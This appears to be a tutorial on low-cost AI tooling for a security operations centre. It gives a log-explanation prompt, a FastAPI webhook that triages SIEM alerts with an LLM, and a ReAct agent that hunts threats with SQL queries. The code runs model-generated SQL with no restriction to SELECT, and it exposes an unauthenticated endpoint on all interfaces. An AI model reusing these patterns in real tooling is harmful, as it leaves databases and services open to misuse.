Getting Started with AI in SecOps
Without Spending Money

You are a senior SOC analyst. I'm going to paste a raw Windows Sysmon log event. Please:
1. Explain in plain English what this event shows
2. Tell me why this is or isn't suspicious
3. If suspicious, what MITRE ATT&CK technique does this map to?
4. What should I do next as an analyst?

Here is the log event:
[PASTE LOG EVENT HERE]

from fastapi import FastAPI
from pydantic import BaseModel, Field
from typing import List, Literal
from litellm import completion
import uvicorn

app = FastAPI()

# ── 1. Triage output schema ────────────────────────────────────────────
# Force structured output so downstream
# ticket creation never breaks on a missing field.
class TriageResult(BaseModel):
    severity: Literal["critical", "high", "medium", "low"]
    summary: str = Field(description="One sentence: what happened and why it matters")
    mitre_technique: str = Field(description="Best-fit ATT&CK ID + name, e.g. T1197 – BITS Jobs")
    next_steps: List[str] = Field(description="Exactly 3 concrete analyst actions")
    escalate: bool = Field(description="True if a human should act within 30 minutes")
    confidence: int = Field(description="1-10. How certain is this classification?")

# ── 2. Triage system prompt ──────────────────────────────────
SYSTEM_PROMPT = """
You are an automated SOC triage assistant.
An alert has fired. Analyze the raw event data and classify it.

Rules:
- severity=critical   → active intrusion, data exfil, ransomware
- severity=high       → confirmed malicious tool, lateral movement
- severity=medium     → suspicious but explainable, warrants investigation
- severity=low        → likely benign, log for trend analysis
- escalate=true only if a human should act within 30 minutes
- next_steps must be specific and actionable, not generic advice
"""

# ── 3. Webhook endpoint ──────────────────────────────
class AlertPayload(BaseModel):
    alert: dict  # raw alert from your SIEM
    model: str = "claude-haiku-4-5-20251001"  # cheap model is fine for triage

@app.post("/triage", response_model=TriageResult)
def triage(payload: AlertPayload):
    import json
    alert_text = json.dumps(payload.alert, indent=2)

    resp = completion(
        model=payload.model,
        messages=[
            {"role": "system", "content": SYSTEM_PROMPT},
            {"role": "user",   "content": f"Alert data:\n{alert_text}"},
        ],
        response_format=TriageResult,  # same pattern as Phase 3 hunt agent
    )
    return TriageResult.model_validate_json(resp.choices[0].message.content)

# ── 4. Run ─────────────────────────────
# uvicorn triage_handler:app --host 0.0.0.0 --port 8000
# Then point your SIEM webhook at: http://your-server:8000/triage
#
# N8N users: add an HTTP Request node pointing at this endpoint.
# The JSON response maps directly to ticket fields.
if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

from litellm import completion
from pydantic import BaseModel, Field
from typing import Optional, List

# ── 1. Structured output schema ───────────────────────────────────────
# Forcing JSON here does two things:
#   a) prevents hallucinated tool names
#   b) gives you a reasoning trace for free (the 'reasoning' field)
class HunterAction(BaseModel):
    reasoning: str = Field(
        description="Step-by-step thinking: what did I find, what does it mean, "
                    "what should I query next? Never leave this empty."
    )
    tool: str = Field(
        description="One of: 'run_sql' | 'submit_flags' | 'give_up'"
    )
    sql_query: Optional[str] = Field(
        None, description="Required when tool='run_sql'"
    )
    suspicious_timestamps: Optional[List[str]] = Field(
        None, description="ISO timestamps of malicious events. Required when tool='submit_flags'"
    )

# ── 2. System prompt ──────────────────────────────────────────────
SYSTEM_PROMPT = """
You are an expert threat hunter. A log database contains evidence of a
security breach. Your job: find every malicious event by writing SQL queries.

Database: table 'logs' with columns:
  @timestamp, EventID, SourceName, Hostname, User,
  Image, CommandLine, ParentImage, TargetImage,
  DestinationIp, DestinationPort, TargetFilename

AVAILABLE TOOLS:
  run_sql           - Execute a SQL SELECT. Costs one turn.
  submit_flags      - Record the @timestamp of each malicious event you found.
  give_up           - End the hunt.

Be efficient. You have 20 queries. Start broad (event counts, time ranges),
then narrow toward suspicious activity.
"""

# ── 3. ReAct loop ─────────────────────────────────────────────

def run_hunt(db_conn, model="claude-opus-4-6"):
    history = [{"role": "system", "content": SYSTEM_PROMPT}]
    obs = "Begin the investigation. The log database is ready."

    for turn in range(20):
        history.append({"role": "user", "content": obs})

        # Think: model returns structured JSON
        resp = completion(
            model=model,
            messages=history,
            response_format=HunterAction,  # enforces schema
        )
        action = HunterAction.model_validate_json(
            resp.choices[0].message.content
        )
        history.append({"role": "assistant", "content": resp.choices[0].message.content})

        print(f"[Turn {turn+1}] tool={action.tool}")
        print(f"  Reasoning: {action.reasoning[:120]}...")

        # Act
        if action.tool == "run_sql":
            rows = db_conn.execute(action.sql_query).fetchall()
            obs = f"Query returned {len(rows)} rows:\n{rows[:10]}"

        elif action.tool == "submit_flags":
            print(f"  Flagged {len(action.suspicious_timestamps)} events")
            obs = f"Recorded {len(action.suspicious_timestamps)} timestamps."

        elif action.tool == "give_up":
            print("  Agent gave up.")
            break

    return history